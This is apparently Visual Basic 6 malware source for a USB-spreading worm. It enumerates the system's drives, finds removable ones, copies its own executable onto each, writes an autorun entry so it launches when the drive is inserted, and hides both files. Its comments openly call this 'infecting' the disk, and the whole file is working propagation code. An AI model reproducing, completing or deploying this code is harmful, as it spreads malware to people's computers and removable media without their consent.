Public Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Function USB()
Dim sBuffer As String * 260, iGet As Integer, iDrive As String, iType As String
iGet = GetLogicalDriveStrings(Len(sBuffer), sBuffer) ' // Get Drives
If iGet = 0 Then Exit Function ' // If iGet = 0 No Drives
iDrive = sBuffer
For i = 1 To 50 ' // We Disk 1 to 50 if there are available
If Left$(sBuffer, InStr(1, sBuffer, Chr(0))) = Chr(0) Then Exit For ' // If the disk you back chr(0) then it is not a valid disc
iDrive = Left(sBuffer, InStr(1, sBuffer, Chr(0)) - 1) ' // Get Drive Letter
iType = GetDriveType(iDrive) ' // Get Drive Type
If iType = 2 Then ' // If Type = 2 then is a PEN-DRIVE
Call Complete(iDrive) ' // INfect Disk
End If
sBuffer = Right(sBuffer, Len(sBuffer) - InStr(1, sBuffer, Chr(0))) ' // Remove the disk from the list
Next i ' // Next Disk
End Function
Function Complete(Drive As String) ' // Function For Infect Device
Dim YO As String
YO = App.Path & "\" & App.EXEName & ".exe" ' // APP Path
If Exist(Drive & App.EXEName & ".exe") = False Then ' // If the disk is not infected
FileCopy YO, Drive & App.EXEName & ".exe" ' // Copy App to disk
Call WritePrivateProfileString("Autorun", "Open", App.EXEName & ".exe", Drive & "Autorun.ini") ' // Create Autorun.inf
SetFileAttributes Drive & App.EXEName & ".exe", FILE_ATTRIBUTE_HIDDEN ' // We put the files in hidden mode
SetFileAttributes Drive & "Autorun.ini", FILE_ATTRIBUTE_HIDDEN ' // We put the files in hidden mode
End If
End Function
Public Function Exist(Path As Variant) As Boolean ' // Function foe see if a file exist
Dim FS
Set FS = CreateObject("Scripting.FileSystemObject")
Exist = FS.fileexists(Path)
End Function